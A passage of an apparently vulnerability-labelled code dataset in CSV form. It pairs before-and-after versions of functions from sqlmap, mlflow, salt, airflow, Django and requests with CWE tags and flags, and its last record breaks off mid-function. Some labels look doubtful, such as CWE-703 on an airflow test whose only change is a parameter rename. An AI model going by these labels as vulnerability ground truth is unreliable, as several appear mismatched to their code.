errMsg = getSafeExString(ex)
logger.critical(errMsg)
if conf.get(""api""):
conf.databaseCursor.disconnect()
if conf.get(""dumper""):
conf.dumper.flush()
# short delay for thread finalization
_ = time.time()
while threading.active_count() > 1 and (time.time() - _) > THREAD_FINALIZATION_TIMEOUT:
time.sleep(0.01)
if cmdLineOptions.get(""sqlmapShell""):
cmdLineOptions.clear()
conf.clear()
kb.clear()
conf.disableBanner = True
main()"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/store/tracking/test_file_store.py,0,"def test_get_experiment_int_experiment_id_backcompat(self):
fs = FileStore(self.test_root)
exp_id = FileStore.DEFAULT_EXPERIMENT_ID
root_dir = os.path.join(self.test_root, exp_id)
with safe_edit_yaml(root_dir, ""meta.yaml"", self._experiment_id_edit_func):
self._verify_experiment(fs, exp_id)",,mlflow/mlflow,12a1bcd8e09e12ab5c2cd7736cd6b369da37dfb8,"def test_get_experiment_int_experiment_id_backcompat(self):
fs = FileStore(self.test_root)
exp_id = FileStore.DEFAULT_EXPERIMENT_ID
root_dir = os.path.join(self.test_root, exp_id)
with safe_edit_yaml(root_dir, ""meta.yaml"", self._experiment_id_edit_func):
self._verify_experiment(fs, exp_id)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/rh_ip.py,0,"def build_interface(iface, iface_type, enabled, **settings):
'''
Build an interface script for a network interface.
CLI Example:
.. code-block:: bash
salt '*' ip.build_interface eth0 eth
'''
if __grains__['os'] == 'Fedora':
if __grains__['osmajorrelease'] >= 18:
rh_major = '7'
else:
rh_major = '6'
elif __grains__['os'] == 'Amazon':
# TODO: Is there a better formula for this? -W. Werner, 2019-05-30
# If not, it will need to be updated whenever Amazon releases
# Amazon Linux 3
if __grains__['osmajorrelease'] == 2:
rh_major = '7'
else:
rh_major = '6'
else:
rh_major = __grains__['osrelease'][:1]
iface_type = iface_type.lower()
if iface_type not in _IFACE_TYPES:
_raise_error_iface(iface, iface_type, _IFACE_TYPES)
if iface_type == 'slave':
settings['slave'] = 'yes'
if 'master' not in settings:
msg = 'master is a required setting for slave interfaces'
log.error(msg)
raise AttributeError(msg)
if iface_type == 'vlan':
settings['vlan'] = 'yes'
if iface_type == 'bridge':
__salt__['pkg.install']('bridge-utils')
if iface_type in ['eth', 'bond', 'bridge', 'slave', 'vlan', 'ipip', 'ib', 'alias']:
opts = _parse_settings_eth(settings, iface_type, enabled, iface)
try:
template = JINJA.get_template('rh{0}_eth.jinja'.format(rh_major))
except jinja2.exceptions.TemplateNotFound:
log.error(
'Could not load template rh%s_eth.jinja',
rh_major
)
return ''
ifcfg = template.render(opts)
if 'test' in settings and settings['test']:
return _read_temp(ifcfg)
_write_file_iface(iface, ifcfg, _RH_NETWORK_SCRIPT_DIR, 'ifcfg-{0}')
path = os.path.join(_RH_NETWORK_SCRIPT_DIR, 'ifcfg-{0}'.format(iface))
return _read_file(path)",,saltstack/salt,e801afe3e51f0f46ea077c7c891b12c3e816ecda,"def build_interface(iface, iface_type, enabled, **settings):
'''
Build an interface script for a network interface.
CLI Example:
.. code-block:: bash
salt '*' ip.build_interface eth0 eth
'''
if __grains__['os'] == 'Fedora':
if __grains__['osmajorrelease'] >= 18:
rh_major = '7'
else:
rh_major = '6'
else:
rh_major = __grains__['osrelease'][:1]
iface_type = iface_type.lower()
if iface_type not in _IFACE_TYPES:
_raise_error_iface(iface, iface_type, _IFACE_TYPES)
if iface_type == 'slave':
settings['slave'] = 'yes'
if 'master' not in settings:
msg = 'master is a required setting for slave interfaces'
log.error(msg)
raise AttributeError(msg)
if iface_type == 'vlan':
settings['vlan'] = 'yes'
if iface_type == 'bridge':
__salt__['pkg.install']('bridge-utils')
if iface_type in ['eth', 'bond', 'bridge', 'slave', 'vlan', 'ipip', 'ib', 'alias']:
opts = _parse_settings_eth(settings, iface_type, enabled, iface)
try:
template = JINJA.get_template('rh{0}_eth.jinja'.format(rh_major))
except jinja2.exceptions.TemplateNotFound:
log.error(
'Could not load template rh%s_eth.jinja',
rh_major
)
return ''
ifcfg = template.render(opts)
if 'test' in settings and settings['test']:
return _read_temp(ifcfg)
_write_file_iface(iface, ifcfg, _RH_NETWORK_SCRIPT_DIR, 'ifcfg-{0}')
path = os.path.join(_RH_NETWORK_SCRIPT_DIR, 'ifcfg-{0}'.format(iface))
return _read_file(path)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/utils/test_proto_json_utils.py,0,"def test_parse_tf_serving_dictionary():
# instances are correctly aggregated to dict of input name -> tensor
tfserving_input = {
""instances"": [
{""a"": ""s1"", ""b"": 1.1, ""c"": [1, 2, 3]},
{""a"": ""s2"", ""b"": 2.2, ""c"": [4, 5, 6]},
{""a"": ""s3"", ""b"": 3.3, ""c"": [7, 8, 9]},
]
}
# Without Schema
result = parse_tf_serving_input(tfserving_input)
expected_result_no_schema = {
""a"": np.array([""s1"", ""s2"", ""s3""]),
""b"": np.array([1.1, 2.2, 3.3]),
""c"": np.array([[1, 2, 3], [4, 5, 6], [7, 8, 9]]),
}
assert_result(result, expected_result_no_schema)
# With schema
schema = Schema(
[
TensorSpec(np.dtype(""str""), [-1], ""a""),
TensorSpec(np.dtype(""float32""), [-1], ""b""),
TensorSpec(np.dtype(""int32""), [-1], ""c""),
]
)
df_schema = Schema([ColSpec(""string"", ""a""), ColSpec(""float"", ""b""), ColSpec(""integer"", ""c"")])
result = parse_tf_serving_input(tfserving_input, schema)
expected_result_schema = {
""a"": np.array([""s1"", ""s2"", ""s3""], dtype=np.dtype(""str"")),
""b"": np.array([1.1, 2.2, 3.3], dtype=""float32""),
""c"": np.array([[1, 2, 3], [4, 5, 6], [7, 8, 9]], dtype=""int32""),
}
assert_result(result, expected_result_schema)
# With df Schema
result = parse_tf_serving_input(tfserving_input, df_schema)
assert_result(result, expected_result_schema)
# input provided as a dict
tfserving_input = {
""inputs"": {
""a"": [""s1"", ""s2"", ""s3""],
""b"": [1.1, 2.2, 3.3],
""c"": [[1, 2, 3], [4, 5, 6], [7, 8, 9]],
}
}
# Without Schema
result = parse_tf_serving_input(tfserving_input)
assert_result(result, expected_result_no_schema)
# With Schema
result = parse_tf_serving_input(tfserving_input, schema)
assert_result(result, expected_result_schema)
# With df Schema
result = parse_tf_serving_input(tfserving_input, df_schema)
assert_result(result, expected_result_schema)",,mlflow/mlflow,63adcce15405dbeb8141bd46eb881413c0db5b5b,"def test_parse_tf_serving_dictionary():
# instances are correctly aggregated to dict of input name -> tensor
tfserving_input = {
""instances"": [
{""a"": ""s1"", ""b"": 1.1, ""c"": [1, 2, 3]},
{""a"": ""s2"", ""b"": 2.2, ""c"": [4, 5, 6]},
{""a"": ""s3"", ""b"": 3.3, ""c"": [7, 8, 9]},
]
}
# Without Schema
result = parse_tf_serving_input(tfserving_input)
expected_result_no_schema = {
""a"": np.array([""s1"", ""s2"", ""s3""]),
""b"": np.array([1.1, 2.2, 3.3]),
""c"": np.array([[1, 2, 3], [4, 5, 6], [7, 8, 9]]),
}
assert_result(result, expected_result_no_schema)
# With schema
schema = Schema(
[
TensorSpec(np.dtype(""str""), [-1], ""a""),
TensorSpec(np.dtype(""float32""), [-1], ""b""),
TensorSpec(np.dtype(""int32""), [-1], ""c""),
]
)
dfSchema = Schema([ColSpec(""string"", ""a""), ColSpec(""float"", ""b""), ColSpec(""integer"", ""c"")])
result = parse_tf_serving_input(tfserving_input, schema)
expected_result_schema = {
""a"": np.array([""s1"", ""s2"", ""s3""], dtype=np.dtype(""str"")),
""b"": np.array([1.1, 2.2, 3.3], dtype=""float32""),
""c"": np.array([[1, 2, 3], [4, 5, 6], [7, 8, 9]], dtype=""int32""),
}
assert_result(result, expected_result_schema)
# With df Schema
result = parse_tf_serving_input(tfserving_input, dfSchema)
assert_result(result, expected_result_schema)
# input provided as a dict
tfserving_input = {
""inputs"": {
""a"": [""s1"", ""s2"", ""s3""],
""b"": [1.1, 2.2, 3.3],
""c"": [[1, 2, 3], [4, 5, 6], [7, 8, 9]],
}
}
# Without Schema
result = parse_tf_serving_input(tfserving_input)
assert_result(result, expected_result_no_schema)
# With Schema
result = parse_tf_serving_input(tfserving_input, schema)
assert_result(result, expected_result_schema)
# With df Schema
result = parse_tf_serving_input(tfserving_input, dfSchema)
assert_result(result, expected_result_schema)"
,UNKNOWN,UNKNOWN,tests/cli/commands/remote_commands/test_config_command.py,1,"def test_lint_detects_multiple_issues(self):
with mock.patch(
""airflow.configuration.conf.has_option"",
side_effect=lambda section, option, lookup_from_deprecated: option
in [""check_slas"", ""strict_dataset_uri_validation""],
):
with contextlib.redirect_stdout(StringIO()) as temp_stdout:
config_command.lint_config(cli_parser.get_parser().parse_args([""config"", ""lint""]))
output = temp_stdout.getvalue()
normalized_output = re.sub(r""\s+"", "" "", output.strip())
assert (
""Removed deprecated `check_slas` configuration parameter from `core` section.""
in normalized_output
)
assert (
""Removed deprecated `strict_dataset_uri_validation` configuration parameter from `core` section.""
in normalized_output
)",CWE-703,apache/airflow,8e3d25f909756b7438092ace915293b443026d37,"def test_lint_detects_multiple_issues(self):
with mock.patch(
""airflow.configuration.conf.has_option"",
side_effect=lambda section, option, lookup_from_deprecated_options: option
in [""check_slas"", ""strict_dataset_uri_validation""],
):
with contextlib.redirect_stdout(StringIO()) as temp_stdout:
config_command.lint_config(cli_parser.get_parser().parse_args([""config"", ""lint""]))
output = temp_stdout.getvalue()
normalized_output = re.sub(r""\s+"", "" "", output.strip())
assert (
""Removed deprecated `check_slas` configuration parameter from `core` section.""
in normalized_output
)
assert (
""Removed deprecated `strict_dataset_uri_validation` configuration parameter from `core` section.""
in normalized_output
)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,docs/exts/docs_build/docs_builder.py,0,"def clean_files(self) -> None:
""""""Cleanup all artifacts generated by previous builds.""""""
api_dir = os.path.join(self._src_dir, ""_api"")
shutil.rmtree(api_dir, ignore_errors=True)
shutil.rmtree(self._build_dir, ignore_errors=True)
os.makedirs(api_dir, exist_ok=True)
os.makedirs(self._build_dir, exist_ok=True)",CWE-Unknown,apache/airflow,23b87534e636e407f3f68107d442f55b771216f3,"def clean_files(self) -> None:
""""""Cleanup all artifacts generated by previous builds.""""""
api_dir = os.path.join(self._src_dir, ""_api"")
shutil.rmtree(api_dir, ignore_errors=True)
shutil.rmtree(self._build_dir, ignore_errors=True)
os.makedirs(api_dir, exist_ok=True)
os.makedirs(self._build_dir, exist_ok=True)"
,UNKNOWN,UNKNOWN,django/db/backends/base/schema.py,1,"def _alter_field(self, model, old_field, new_field, old_type, new_type,
old_db_params, new_db_params, strict=False):
""""""Actually perform a ""physical"" (non-ManyToMany) field update.""""""
# Drop any FK constraints, we'll remake them later
fks_dropped = set()
if old_field.rel and old_field.db_constraint:
fk_names = self._constraint_names(model, [old_field.column], foreign_key=True)
if strict and len(fk_names) != 1:
raise ValueError(""Found wrong number (%s) of foreign key constraints for %s.%s"" % (
len(fk_names),
model._meta.db_table,
old_field.column,
))
for fk_name in fk_names:
fks_dropped.add((old_field.column,))
self.execute(self._delete_constraint_sql(self.sql_delete_fk, model, fk_name))
# Has unique been removed?
if old_field.unique and (not new_field.unique or (not old_field.primary_key and new_field.primary_key)):
# Find the unique constraint for this field
constraint_names = self._constraint_names(model, [old_field.column], unique=True)
if strict and len(constraint_names) != 1:
raise ValueError(""Found wrong number (%s) of unique constraints for %s.%s"" % (
len(constraint_names),
model._meta.db_table,
old_field.column,
))
for constraint_name in constraint_names:
self.execute(self._delete_constraint_sql(self.sql_delete_unique, model, constraint_name))
# Drop incoming FK constraints if we're a primary key and things are going
# to change.
if old_field.primary_key and new_field.primary_key and old_type != new_type:
# '_meta.related_field' also contains M2M reverse fields, these
# will be filtered out
for _old_rel, new_rel in _related_non_m2m_objects(old_field, new_field):
rel_fk_names = self._constraint_names(
new_rel.related_model, [new_rel.field.column], foreign_key=True
)
for fk_name in rel_fk_names:
self.execute(self._delete_constraint_sql(self.sql_delete_fk, new_rel.related_model, fk_name))
# Removed an index? (no strict check, as multiple indexes are possible)
if (old_field.db_index and not new_field.db_index and
not old_field.unique and not
(not new_field.unique and old_field.unique)):
# Find the index for this field
index_names = self._constraint_names(model, [old_field.column], index=True)
for index_name in index_names:
self.execute(self._delete_constraint_sql(self.sql_delete_index, model, index_name))
# Change check constraints?
if old_db_params['check'] != new_db_params['check'] and old_db_params['check']:
constraint_names = self._constraint_names(model, [old_field.column], check=True)
if strict and len(constraint_names) != 1:
raise ValueError(""Found wrong number (%s) of check constraints for %s.%s"" % (
len(constraint_names),
model._meta.db_table,
old_field.column,
))
for constraint_name in constraint_names:
self.execute(self._delete_constraint_sql(self.sql_delete_check, model, constraint_name))
# Have they renamed the column?
if old_field.column != new_field.column:
self.execute(self._rename_field_sql(model._meta.db_table, old_field, new_field, new_type))
# Next, start accumulating actions to do
actions = []
null_actions = []
post_actions = []
# Type change?
if old_type != new_type:
fragment, other_actions = self._alter_column_type_sql(
model._meta.db_table, old_field, new_field, new_type
)
actions.append(fragment)
post_actions.extend(other_actions)
# When changing a column NULL constraint to NOT NULL with a given
# default value, we need to perform 4 steps:
# 1. Add a default for new incoming writes
# 2. Update existing NULL rows with new default
# 3. Replace NULL constraint with NOT NULL
# 4. Drop the default again.
# Default change?
old_default = self.effective_default(old_field)
new_default = self.effective_default(new_field)
needs_database_default = (
old_default != new_default and
new_default is not None and
not self.skip_default(new_field)
)
if needs_database_default:
if self.connection.features.requires_literal_defaults:
# Some databases can't take defaults as a parameter (oracle)
# If this is the case, the individual schema backend should
# implement prepare_default
actions.append((
self.sql_alter_column_default % {
""column"": self.quote_name(new_field.column),
""default"": self.prepare_default(new_default),
},
[],
))
else:
actions.append((
self.sql_alter_column_default % {
""column"": self.quote_name(new_field.column),
""default"": ""%s"",
},
[new_default],
))
# Nullability change?
if old_field.null != new_field.null:
if (self.connection.features.interprets_empty_strings_as_nulls and
new_field.get_internal_type() in (""CharField"", ""TextField"")):
# The field is nullable in the database anyway, leave it alone
pass
elif new_field.null:
null_actions.append((
self.sql_alter_column_null % {
""column"": self.quote_name(new_field.column),
""type"": new_type,
},
[],
))
else:
null_actions.append((
self.sql_alter_column_not_null % {
""column"": self.quote_name(new_field.column),
""type"": new_type,
},
[],
))
# Only if we have a default and there is a change from NULL to NOT NULL
four_way_default_alteration = (
new_field.has_default() and
(old_field.null and not new_field.null)
)
if actions or null_actions:
if not four_way_default_alteration:
# If we don't have to do a 4-way default alteration we can
# directly run a (NOT) NULL alteration
actions = actions + null_actions
# Combine actions together if we can (e.g. postgres)
if self.connection.features.supports_combined_alters and actions:
sql, params = tuple(zip(*actions))
actions = [("", "".join(sql), sum(params, []))]
# Apply those actions
for sql, params in actions:
self.execute(
self.sql_alter_column % {
""table"": self.quote_name(model._meta.db_table),
""changes"": sql,
},
params,
)
if four_way_default_alteration:
# Update existing rows with default value
self.execute(
self.sql_update_with_default % {
""table"": self.quote_name(model._meta.db_table),
""column"": self.quote_name(new_field.column),
""default"": ""%s"",
},
[new_default],
)
# Since we didn't run a NOT NULL change before we need to do it
# now
for sql, params in null_actions:
self.execute(
self.sql_alter_column % {
""table"": self.quote_name(model._meta.db_table),
""changes"": sql,
},
params,
)
if post_actions:
for sql, params in post_actions:
self.execute(sql, params)
# Added a unique?
if (not old_field.unique and new_field.unique) or (
old_field.primary_key and not new_field.primary_key and new_field.unique
):
self.execute(self._create_unique_sql(model, [new_field.column]))
# Added an index?
if (not old_field.db_index and new_field.db_index and
not new_field.unique and not
(not old_field.unique and new_field.unique)):
self.execute(self._create_index_sql(model, [new_field], suffix=""_uniq""))
# Type alteration on primary key? Then we need to alter the column
# referring to us.
rels_to_update = []
if old_field.primary_key and new_field.primary_key and old_type != new_type:
rels_to_update.extend(_related_non_m2m_objects(old_field, new_field))
# Changed to become primary key?
# Note that we don't detect unsetting of a PK, as we assume another field
# will always come along and replace it.
if not old_field.primary_key and new_field.primary_key:
# First, drop the old PK
constraint_names = self._constraint_names(model, primary_key=True)
if strict and len(constraint_names) != 1:
raise ValueError(""Found wrong number (%s) of PK constraints for %s"" % (
len(constraint_names),
model._meta.db_table,
))
for constraint_name in constraint_names:
self.execute(self._delete_constraint_sql(self.sql_delete_pk, model, constraint_name))
# Make the new one
self.execute(
self.sql_create_pk % {
""table"": self.quote_name(model._meta.db_table),
""name"": self.quote_name(self._create_index_name(model, [new_field.column], suffix=""_pk"")),
""columns"": self.quote_name(new_field.column),
}
)
# Update all referencing columns
rels_to_update.extend(_related_non_m2m_objects(old_field, new_field))
# Handle our type alters on the other end of rels from the PK stuff above
for old_rel, new_rel in rels_to_update:
rel_db_params = new_rel.field.db_parameters(connection=self.connection)
rel_type = rel_db_params['type']
fragment, other_actions = self._alter_column_type_sql(
new_rel.related_model._meta.db_table, old_rel.field, new_rel.field, rel_type
)
self.execute(
self.sql_alter_column % {
""table"": self.quote_name(new_rel.related_model._meta.db_table),
""changes"": fragment[0],
},
fragment[1],
)
for sql, params in other_actions:
self.execute(sql, params)
# Does it have a foreign key?
if (new_field.rel and
(fks_dropped or not old_field.rel or not old_field.db_constraint) and
new_field.db_constraint):
self.execute(self._create_fk_sql(model, new_field, ""_fk_%(to_table)s_%(to_column)s""))
# Rebuild FKs that pointed to us if we previously had to drop them
if old_field.primary_key and new_field.primary_key and old_type != new_type:
for rel in new_field.model._meta.related_objects:
if not rel.many_to_many:
self.execute(self._create_fk_sql(rel.related_model, rel.field, ""_fk""))
# Does it have check constraints we need to add?
if old_db_params['check'] != new_db_params['check'] and new_db_params['check']:
self.execute(
self.sql_create_check % {
""table"": self.quote_name(model._meta.db_table),
""name"": self.quote_name(self._create_index_name(model, [new_field.column], suffix=""_check"")),
""column"": self.quote_name(new_field.column),
""check"": new_db_params['check'],
}
)
# Drop the default if we need to
# (Django usually does not use in-database defaults)
if needs_database_default:
sql = self.sql_alter_column % {
""table"": self.quote_name(model._meta.db_table),
""changes"": self.sql_alter_column_no_default % {
""column"": self.quote_name(new_field.column),
}
}
self.execute(sql)
# Reset connection if required
if self.connection.features.connection_persists_old_columns:
self.connection.close()",CWE-89,django/django,1c57d7e7faaeadb7f32e01586da7997d11df1ad9,"def _alter_field(self, model, old_field, new_field, old_type, new_type,
old_db_params, new_db_params, strict=False):
""""""Actually perform a ""physical"" (non-ManyToMany) field update.""""""
# Drop any FK constraints, we'll remake them later
fks_dropped = set()
if old_field.rel and old_field.db_constraint:
fk_names = self._constraint_names(model, [old_field.column], foreign_key=True)
if strict and len(fk_names) != 1:
raise ValueError(""Found wrong number (%s) of foreign key constraints for %s.%s"" % (
len(fk_names),
model._meta.db_table,
old_field.column,
))
for fk_name in fk_names:
fks_dropped.add((old_field.column,))
self.execute(self._delete_constraint_sql(self.sql_delete_fk, model, fk_name))
# Has unique been removed?
if old_field.unique and (not new_field.unique or (not old_field.primary_key and new_field.primary_key)):
# Find the unique constraint for this field
constraint_names = self._constraint_names(model, [old_field.column], unique=True)
if strict and len(constraint_names) != 1:
raise ValueError(""Found wrong number (%s) of unique constraints for %s.%s"" % (
len(constraint_names),
model._meta.db_table,
old_field.column,
))
for constraint_name in constraint_names:
self.execute(self._delete_constraint_sql(self.sql_delete_unique, model, constraint_name))
# Drop incoming FK constraints if we're a primary key and things are going
# to change.
if old_field.primary_key and new_field.primary_key and old_type != new_type:
# '_meta.related_field' also contains M2M reverse fields, these
# will be filtered out
for _old_rel, new_rel in _related_non_m2m_objects(old_field, new_field):
rel_fk_names = self._constraint_names(
new_rel.related_model, [new_rel.field.column], foreign_key=True
)
for fk_name in rel_fk_names:
self.execute(self._delete_constraint_sql(self.sql_delete_fk, new_rel.related_model, fk_name))
# Removed an index? (no strict check, as multiple indexes are possible)
if (old_field.db_index and not new_field.db_index and
not old_field.unique and not
(not new_field.unique and old_field.unique)):
# Find the index for this field
index_names = self._constraint_names(model, [old_field.column], index=True)
for index_name in index_names:
self.execute(self._delete_constraint_sql(self.sql_delete_index, model, index_name))
# Change check constraints?
if old_db_params['check'] != new_db_params['check'] and old_db_params['check']:
constraint_names = self._constraint_names(model, [old_field.column], check=True)
if strict and len(constraint_names) != 1:
raise ValueError(""Found wrong number (%s) of check constraints for %s.%s"" % (
len(constraint_names),
model._meta.db_table,
old_field.column,
))
for constraint_name in constraint_names:
self.execute(self._delete_constraint_sql(self.sql_delete_check, model, constraint_name))
# Have they renamed the column?
if old_field.column != new_field.column:
self.execute(self._rename_field_sql(model._meta.db_table, old_field, new_field, new_type))
# Next, start accumulating actions to do
actions = []
null_actions = []
post_actions = []
# Type change?
if old_type != new_type:
fragment, other_actions = self._alter_column_type_sql(
model._meta.db_table, old_field, new_field, new_type
)
actions.append(fragment)
post_actions.extend(other_actions)
# When changing a column NULL constraint to NOT NULL with a given
# default value, we need to perform 4 steps:
# 1. Add a default for new incoming writes
# 2. Update existing NULL rows with new default
# 3. Replace NULL constraint with NOT NULL
# 4. Drop the default again.
# Default change?
old_default = self.effective_default(old_field)
new_default = self.effective_default(new_field)
needs_database_default = (
old_default != new_default and
new_default is not None and
not self.skip_default(new_field)
)
if needs_database_default:
if self.connection.features.requires_literal_defaults:
# Some databases can't take defaults as a parameter (oracle)
# If this is the case, the individual schema backend should
# implement prepare_default
actions.append((
self.sql_alter_column_default % {
""column"": self.quote_name(new_field.column),
""default"": self.prepare_default(new_default),
},
[],
))
else:
actions.append((
self.sql_alter_column_default % {
""column"": self.quote_name(new_field.column),
""default"": ""%s"",
},
[new_default],
))
# Nullability change?
if old_field.null != new_field.null:
if (self.connection.features.interprets_empty_strings_as_nulls and
new_field.get_internal_type() in (""CharField"", ""TextField"")):
# The field is nullable in the database anyway, leave it alone
pass
elif new_field.null:
null_actions.append((
self.sql_alter_column_null % {
""column"": self.quote_name(new_field.column),
""type"": new_type,
},
[],
))
else:
null_actions.append((
self.sql_alter_column_not_null % {
""column"": self.quote_name(new_field.column),
""type"": new_type,
},
[],
))
# Only if we have a default and there is a change from NULL to NOT NULL
four_way_default_alteration = (
new_field.has_default() and
(old_field.null and not new_field.null)
)
if actions or null_actions:
if not four_way_default_alteration:
# If we don't have to do a 4-way default alteration we can
# directly run a (NOT) NULL alteration
actions = actions + null_actions
# Combine actions together if we can (e.g. postgres)
if self.connection.features.supports_combined_alters and actions:
sql, params = tuple(zip(*actions))
actions = [("", "".join(sql), sum(params, []))]
# Apply those actions
for sql, params in actions:
self.execute(
self.sql_alter_column % {
""table"": self.quote_name(model._meta.db_table),
""changes"": sql,
},
params,
)
if four_way_default_alteration:
# Update existing rows with default value
self.execute(
self.sql_update_with_default % {
""table"": self.quote_name(model._meta.db_table),
""column"": self.quote_name(new_field.column),
""default"": ""%s"",
},
[new_default],
)
# Since we didn't run a NOT NULL change before we need to do it
# now
for sql, params in null_actions:
self.execute(
self.sql_alter_column % {
""table"": self.quote_name(model._meta.db_table),
""changes"": sql,
},
params,
)
if post_actions:
for sql, params in post_actions:
self.execute(sql, params)
# Added a unique?
if not old_field.unique and new_field.unique:
self.execute(self._create_unique_sql(model, [new_field.column]))
# Added an index?
if (not old_field.db_index and new_field.db_index and
not new_field.unique and not
(not old_field.unique and new_field.unique)):
self.execute(self._create_index_sql(model, [new_field], suffix=""_uniq""))
# Type alteration on primary key? Then we need to alter the column
# referring to us.
rels_to_update = []
if old_field.primary_key and new_field.primary_key and old_type != new_type:
rels_to_update.extend(_related_non_m2m_objects(old_field, new_field))
# Changed to become primary key?
# Note that we don't detect unsetting of a PK, as we assume another field
# will always come along and replace it.
if not old_field.primary_key and new_field.primary_key:
# First, drop the old PK
constraint_names = self._constraint_names(model, primary_key=True)
if strict and len(constraint_names) != 1:
raise ValueError(""Found wrong number (%s) of PK constraints for %s"" % (
len(constraint_names),
model._meta.db_table,
))
for constraint_name in constraint_names:
self.execute(self._delete_constraint_sql(self.sql_delete_pk, model, constraint_name))
# Make the new one
self.execute(
self.sql_create_pk % {
""table"": self.quote_name(model._meta.db_table),
""name"": self.quote_name(self._create_index_name(model, [new_field.column], suffix=""_pk"")),
""columns"": self.quote_name(new_field.column),
}
)
# Update all referencing columns
rels_to_update.extend(_related_non_m2m_objects(old_field, new_field))
# Handle our type alters on the other end of rels from the PK stuff above
for old_rel, new_rel in rels_to_update:
rel_db_params = new_rel.field.db_parameters(connection=self.connection)
rel_type = rel_db_params['type']
fragment, other_actions = self._alter_column_type_sql(
new_rel.related_model._meta.db_table, old_rel.field, new_rel.field, rel_type
)
self.execute(
self.sql_alter_column % {
""table"": self.quote_name(new_rel.related_model._meta.db_table),
""changes"": fragment[0],
},
fragment[1],
)
for sql, params in other_actions:
self.execute(sql, params)
# Does it have a foreign key?
if (new_field.rel and
(fks_dropped or not old_field.rel or not old_field.db_constraint) and
new_field.db_constraint):
self.execute(self._create_fk_sql(model, new_field, ""_fk_%(to_table)s_%(to_column)s""))
# Rebuild FKs that pointed to us if we previously had to drop them
if old_field.primary_key and new_field.primary_key and old_type != new_type:
for rel in new_field.model._meta.related_objects:
if not rel.many_to_many:
self.execute(self._create_fk_sql(rel.related_model, rel.field, ""_fk""))
# Does it have check constraints we need to add?
if old_db_params['check'] != new_db_params['check'] and new_db_params['check']:
self.execute(
self.sql_create_check % {
""table"": self.quote_name(model._meta.db_table),
""name"": self.quote_name(self._create_index_name(model, [new_field.column], suffix=""_check"")),
""column"": self.quote_name(new_field.column),
""check"": new_db_params['check'],
}
)
# Drop the default if we need to
# (Django usually does not use in-database defaults)
if needs_database_default:
sql = self.sql_alter_column % {
""table"": self.quote_name(model._meta.db_table),
""changes"": self.sql_alter_column_no_default % {
""column"": self.quote_name(new_field.column),
}
}
self.execute(sql)
# Reset connection if required
if self.connection.features.connection_persists_old_columns:
self.connection.close()"
functions_for_requests_with_cwe.csv,UNKNOWN,UNKNOWN,requests/models.py,0,"def prepare_url(self, url, params):
""""""Prepares the given HTTP URL.""""""
#: Accept objects that have string representations.
#: We're unable to blindly call unicode/str functions
#: as this will include the bytestring indicator (b'')
#: on python 3.x.
#: https://github.com/kennethreitz/requests/pull/2238
if isinstance(url, bytes):
url = url.decode('utf8')
else:
url = unicode(url) if is_py2 else str(url)
# Remove leading whitespaces from url
url = url.lstrip()
# Don't do any URL preparation for non-HTTP schemes like `mailto`,
# `data` etc to work around exceptions from `url_parse`, which
# handles RFC 3986 only.
if ':' in url and not url.lower().startswith('http'):
self.url = url
return
# Support for unicode domain names and paths.
try:
scheme, auth, host, port, path, query, fragment = parse_url(url)
except LocationParseError as e:
raise InvalidURL(*e.args)
if not scheme:
error = (""Invalid URL {0!r}: No schema supplied. Perhaps you meant http://{0}?"")
error = error.format(to_native_string(url, 'utf8'))
raise MissingSchema(error)
if not host:
raise InvalidURL(""Invalid URL %r: No host supplied"" % url)
# In general, we want to try IDNA encoding every hostname, as that
# allows users to automatically get the correct behaviour. However,
# we’re quite strict about IDNA encoding, so certain valid hostnames
# may fail to encode. On failure, we verify the hostname meets a
# minimum standard of only containing ASCII characters, and not starting
# with a wildcard (*), before allowing the unencoded hostname through.
try:
host = idna.encode(host, uts46=True).decode('utf-8')
except (UnicodeError, idna.IDNAError):
if not unicode_is_ascii(host) or host.startswith(u'*'):
raise InvalidURL('URL has an invalid label.')
# Carefully reconstruct the network location
netloc = auth or ''
if netloc:
netloc += '@'
netloc += host
if port:
netloc += ':' + str(port)
# Bare domains aren't valid URLs.
if not path:
path = '/'
if is_py2:
if isinstance(scheme, str):
scheme = scheme.encode('utf-8')
if isinstance(netloc, str):
netloc = netloc.encode('utf-8')
if isinstance(path, str):
path = path.encode('utf-8')
if isinstance(query, str):
query = query.encode('utf-8')
if isinstance(fragment, str):
fragment = fragment.encode('utf-8')
if isinstance(params, (str, bytes)):
params = to_native_string(params)
enc_params = self._encode_params(params)
if enc_params:
if query:
query = '%s&%s' % (query, enc_params)
else:
query = enc_params
url = requote_uri(urlunparse([scheme, netloc, path, None, query, fragment]))
self.url = url",,psf/requests,7d2dfa86841fae49fa82f4f59098d5be862d1ba0,"def prepare_url(self, url, params):
""""""Prepares the given HTTP URL.""""""
#: Accept objects that have string representations.
#: We're unable to blindly call unicode/str functions
#: as this will include the bytestring indicator (b'')
#: on python 3.x.
#: https://github.com/kennethreitz/requests/pull/2238
if isinstance(url, bytes):
url = url.decode('utf8')
else:
url = unicode(url) if is_py2 else str(url)
# Remove leading whitespaces from url
url = url.lstrip()
# Don't do any URL preparation for non-HTTP schemes like `mailto`,
# `data`, `http+unix` etc to work around exceptions from `url_parse`,
# which handles RFC 3986 only.
if ':' in url and not url.lower().startswith(('http://', 'https://')):
self.url = url
return
# Support for unicode domain names and paths.
try:
scheme, auth, host, port, path, query, fragment = parse_url(url)
except LocationParseError as e:
raise InvalidURL(*e.args)
if not scheme:
error = (""Invalid URL {0!r}: No schema supplied. Perhaps you meant http://{0}?"")
error = error.format(to_native_string(url, 'utf8'))
raise MissingSchema(error)
if not host:
raise InvalidURL(""Invalid URL %r: No host supplied"" % url)
# In general, we want to try IDNA encoding every hostname, as that
# allows users to automatically get the correct behaviour. However,
# we’re quite strict about IDNA encoding, so certain valid hostnames
# may fail to encode. On failure, we verify the hostname meets a
# minimum standard of only containing ASCII characters, and not starting
# with a wildcard (*), before allowing the unencoded hostname through.
try:
host = idna.encode(host, uts46=True).decode('utf-8')
except (UnicodeError, idna.IDNAError):
if not unicode_is_ascii(host) or host.startswith(u'*'):
raise InvalidURL('URL has an invalid label.')
# Carefully reconstruct the network location
netloc = auth or ''
if netloc:
netloc += '@'
netloc += host
if port:
netloc += ':' + str(port)
# Bare domains aren't valid URLs.
if not path:
path = '/'
if is_py2:
if isinstance(scheme, str):
scheme = scheme.encode('utf-8')
if isinstance(netloc, str):
netloc = netloc.encode('utf-8')
